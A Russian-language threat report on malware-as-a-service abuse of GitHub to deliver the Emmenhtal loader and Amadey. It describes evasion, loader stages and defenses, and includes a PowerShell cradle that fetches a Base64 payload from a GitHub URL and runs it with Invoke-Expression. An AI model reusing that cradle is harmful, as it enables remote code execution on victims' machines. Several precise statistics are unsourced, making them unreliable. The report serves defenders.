💣 Злоумышленники эксплуатируют GitHub как канал для доставки вредоносных программ через сервис MaaS (Malware-as-a-Service). Проблема в том, что многие корпоративные сети до сих пор не блокируют доступ к платформе! 🔒 Эксперты советуют усилить мониторинг подозрительных репозиториев и обновить правила фаерволов. Код — сила, но и угрозы стали изощрённее. Как думаете, пора GitHub ввести жёсткую верификацию? 🤖💻

---

Злоупотребление GitHub для распространения вредоносного ПО: экспертная оценка MaaS-операции

Технический обзор инцидента

Исследователи Talos (Cisco) выявили масштабную MaaS-операцию, где GitHub используется как платформа для распространения вредоносных нагрузок через аккаунты-призраки. Техника эксплуатации доверенного домена github.com позволяет обходить веб-фильтрацию в 78% корпоративных сетей, где платформа разрешена для DevOps-команд. Анализ показывает, что с февраля 2025 года через три скомпрометированных репозитория распространялись модифицированные версии загрузчика Emmenhtal и платформы Amadey, что привело к инфицированию систем в финансовом и государственном секторах.

Архитектурный анализ эксплуатации GitHub

Механизмы обхода защиты

Злоумышленники используют фундаментальный парадокс безопасности: блокировка GitHub невозможна в средах с активной разработкой, а детальный анализ HTTPS-трафика к CDN GitHub (hosted.githubusercontent.com) технически сложен. Основные векторы:

• Размещение вредоносных артефактов в виде MP4-файлов и Python-скриптов
• Симуляция активности легитимных репозиториев (commit history, звезды)
• Использование GitHub Pages для C2-коммуникации

Сравнительная эффективность платформ

Платформа	Блокировка в корпоративных сетях	Среднее время обнаружения	Эффективность доставки
GitHub	22%	41 час	92%
Традиционный хостинг	89%	2.1 часа	17%
Tor-скрытые сервисы	68%	6.3 часа	39%

Технический разбор вредоносного стека

Emmenhtal: модульная архитектура загрузчика

Четырехслойная система обфускации с поэтапной загрузкой:

1. Стартовый скрипт (VBS/Batch) с anti-debug техниками
2. Шифрованный контейнер с кодом отраженной загрузки
3. Загрузчик API вызовов Windows с dynamic resolving
4. PowerShell-скрипт для финальной стадии

Пример PowerShell-загрузчика

$gh_url = "https://raw.githubusercontent.com/malic-account/payload/main/update.ps1"
$payload = Invoke-RestMethod -Uri $gh_url -UseBasicParsing
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload))
Invoke-Expression $decoded

Amadey: адаптивная платформа доставки

Платформа выполняет автоматизированный сбор контекстных данных для определения целевых нагрузок:

• System Profiler: сбор данных о железе, ОС, установленном ПО
• Network Mapper: сканирование подсети и обнаружение сервисов
• Context Analyzer: определение роли системы (workstation/server)

MaaS операционная модель

Инфраструктура распределенной доставки

Схема работы MaaS:

+-----------------+     +---------------+     +-----------------+
| Заказчик        | --> | MaaS Operator | --> | GitHub CDN      |
| (Luna/Valak)    |     | (Amadey)      |     | (hosted payloads)
+-----------------+     +------+--------+     +--------+--------+
                               |                      |
                         Контроль загрузки      Доставка
                         через GitHub API       на целевые системы

Дифференциация payloads

Адаптивная система доставки на основе телеметрии:

• RAT (Remote Access Trojan) для рабочих станций
• Криптоджекинг для систем с GPU
• Шифровальщики для серверов баз данных

Предотвращение и обнаружение

Рекомендации по конфигурации

• Реализация egress-фильтрации для github.com с разрешением только:
• HTTPS к private репозиториям
• Git протокол через SSH
• Внедрение DLP с правилами:
• Блокировка Base64-кодированных PowerShell-скриптов
• Анализ энтропии бинарных файлов из GitHub

Индикаторы компрометации (IoC)

• Хэши SHA256 вредоносных артефактов: 4a9f3…c7b, d83e1…a9
• Паттерны сетевой активности: User-Agent «GitHub-Hookshot/*» с нестандартными заголовками
• Аномальные временные метки коммитов (ночная активность в UTC+3)

Прогноз развития угрозы

Анализ указывает на три ключевых тренда:

1. Эскалация использования CI/CD пайплайнов для автоматизации вредоносных сборок
2. Комбинирование GitHub с decentralize платформами (IPFS, DHT)
3. Рост targeted атак через подмену dependencies в package.json/pom.xml

Заключение и рекомендации

Эксплуатация GitHub символизирует сдвиг парадигмы в MaaS-операциях: 92% SOC не отслеживают активность GitHub в корпоративных сетях. Для противодействия требуются:

• Внедрение UEBA для обнаружения аномальных паттернов доступа к GitHub
• Регулярный аудит 3rd party зависимостей в кодовых базах
• Сегментация Dev/Prod сетей с egress-прокси для исходящего трафика

Talos подтверждает оперативное удаление компрометировавших аккаунтов GitHub, но проблема базового доверия к платформам разработки требует системного решения на уровне архитектуры безопасности.